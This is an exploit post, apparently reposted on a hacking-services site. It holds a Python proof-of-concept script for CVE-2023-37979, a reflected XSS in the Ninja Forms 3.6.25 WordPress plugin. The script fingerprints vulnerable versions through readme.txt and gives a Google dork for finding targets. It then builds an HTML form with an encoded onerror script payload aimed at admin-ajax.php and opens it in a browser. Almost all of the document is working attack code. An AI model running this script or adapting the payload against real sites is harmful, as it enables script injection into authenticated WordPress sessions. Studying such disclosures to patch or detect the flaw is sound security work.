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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: WordPress Plugin Ninja Forms 3.6.25 - Reflected XSS (Authenticated)
# Google Dork: inurl:/wp-content/plugins/ninja-forms/readme.txt
# Date: 2023-07-27
# Exploit Author: Mehran Seifalinia
# Vendor Homepage: https://ninjaforms.com/
# Software Link: https://downloads.wordpress.org/plugin/ninja-forms.3.6.25.zip
# Version: 3.6.25
# Tested on: Windows 10
# CVE: CVE-2023-37979

from requests import get
from sys import argv
from os import getcwd
import webbrowser
from time import sleep


# Values:
url = argv[-1]
if url[-1] == "/":
    url = url.rstrip("/")

# Constants
CVE_NAME = "CVE-2023-37979"
VULNERABLE_VERSION = "3.6.25"

  # HTML template
HTML_TEMPLATE = f"""<!DOCTYPE html>
<!-- Created By Mehran Seifalinia -->
<html>
<head>
  <title>{CVE_NAME}</title>
  <style>
    body {{
      font-family: Arial, sans-serif;
      background-color: #f7f7f7;
      color: #333;
      margin: 0;
      padding: 0;
    }}
    header {{
      background-color: #4CAF50;
      padding: 10px;
      text-align: center;
      color: white;
      font-size: 24px;
    }}
    .cool-button {{
      background-color: #007bff;
      color: white;
      padding: 10px 20px;
      border: none;
      cursor: pointer;
      font-size: 16px;
      border-radius: 4px;
    }}
    .cool-button:hover {{
      background-color: #0056b3;
    }}
  </style>
</head>
<body>
  <header>
	Ninja-forms reflected XSS ({CVE_NAME})</br>
    Created by Mehran Seifalinia
  </header>
  <div style="padding: 20px;">
    <form action="{url}/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="nf&#95;batch&#95;process" />
      <input type="hidden" name="batch&#95;type" value="import&#95;form&#95;template" />
      <input type="hidden" name="security" value="e29f2d8dca" />
      <input type="hidden" name="extraData&#91;template&#93;" value="formtemplate&#45;contactformd" />
      <input type="hidden" name="method&#95;override" value="&#95;respond" />
      <input type="hidden" name="data" value="Mehran"&#125;&#125;<img&#32;src&#61;Seifalinia&#32;onerror&#61;alert&#40;String&#46;fromCharCode&#40;78&#44;105&#44;110&#44;106&#44;97&#44;45&#44;102&#44;111&#44;114&#44;109&#44;115&#44;32&#44;114&#44;101&#44;102&#44;108&#44;101&#44;99&#44;116&#44;101&#44;100&#44;32&#44;88&#44;83&#44;83&#44;10&#44;67&#44;86&#44;69&#44;45&#44;50&#44;48&#44;50&#44;51&#44;45&#44;51&#44;55&#44;57&#44;55&#44;57&#44;10&#44;45&#44;77&#44;101&#44;104&#44;114&#44;97&#44;110&#44;32&#44;83&#44;101&#44;105&#44;102&#44;97&#44;108&#44;105&#44;110&#44;105&#44;97&#44;45&#41;&#41;>" />
      <input type="submit" class="cool-button" value="Click here to Execute XSS" />
    </form>
  </div>
  <div style="background-color:red;color:white;padding:1%;">After click on the button, If you received a 0 or received an empty page in browser , that means you need to login first.</div>
  <footer>
	<a href="https://github.com/Mehran-Seifalinia">Github</a>
	</br>
	<a href="https://www.linkedin.com/in/mehran-seifalinia-63577a1b6/?originalSubdomain=ir">LinkedIn</a
  </footer>
</body>
</html>
"""

def exploit():
    with open(f"{CVE_NAME}.html", "w") as poc:
        poc.write(HTML_TEMPLATE)
        print(f"[@] POC Generated at {getcwd()}\{CVE_NAME}.html")
        print("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^")
        sleep(2)
        webbrowser.open(f"{getcwd()}\{CVE_NAME}.html")

# Check if the vulnerable version is installed
def check_CVE():
    try:
        response = get(url + "/wp-content/plugins/ninja-forms/readme.txt")
        if response.status_code != 200 or not("Ninja Forms" in response.text):
            print("[!] Ninja-forms plugin has not installed on this site.")
            return False
        else:
            version = response.text.split("Stable tag:")[1].split("License")[0].split()[0]
            main_version = int(version.split(".")[0])
            partial_version = int(version.split(".")[1])
            final_version = int(version.split(".")[2])
            if (main_version < 3) or (main_version == 3 and partial_version < 6) or (main_version == 3 and partial_version == 6 and final_version <= 25):
                print(f"[*] Vulnerable Nonja-forms version {version} detected!")
                return True
            else:
                print(f"[!] Nonja-forms version {version} is not vulnerable!")
                return False
    except Exception as error:
        print(f"[!] Error: {error}")
        exit()

# Check syntax of the script
def check_script():
    usage = f"""
Usage: {argv[0].split("/")[-1].split("/")[-1]} [OPTIONS] [TARGET]

    OPTIONS:
        --exploit:  Open a browser and execute the vulnerability.
    TARGET:
        An URL starts with 'http://' or 'https://'

Examples:
    > {argv[0].split("/")[-1]} https://vulnsite.com
    > {argv[0].split("/")[-1]} --exploit https://vulnsite.com
"""
    try:
        if len(argv) < 2 or len(argv) > 3:
            print("[!] Syntax error...")
            print(usage)
            exit()
        elif not url.startswith(tuple(["http://", "https://"])):
            print("[!] Invalid target...\n\tTarget most starts with 'http://' or 'https://'")
            exit()
        else:
            for arg in argv:
                if arg == argv[0]:
                    print("[*]Starting the script >>>")
                    state = check_CVE()
                    if state == False:
                        exit()
                elif arg.lower() == "--exploit":
                    exploit()
                elif arg == url:
                    continue
                else:
                    print(f"[!] What the heck is '{arg}' in the command?")
    except Exception as error:
        print(f"[!] Error: {error}")
        exit()

if __name__ == "__main__":
    check_script()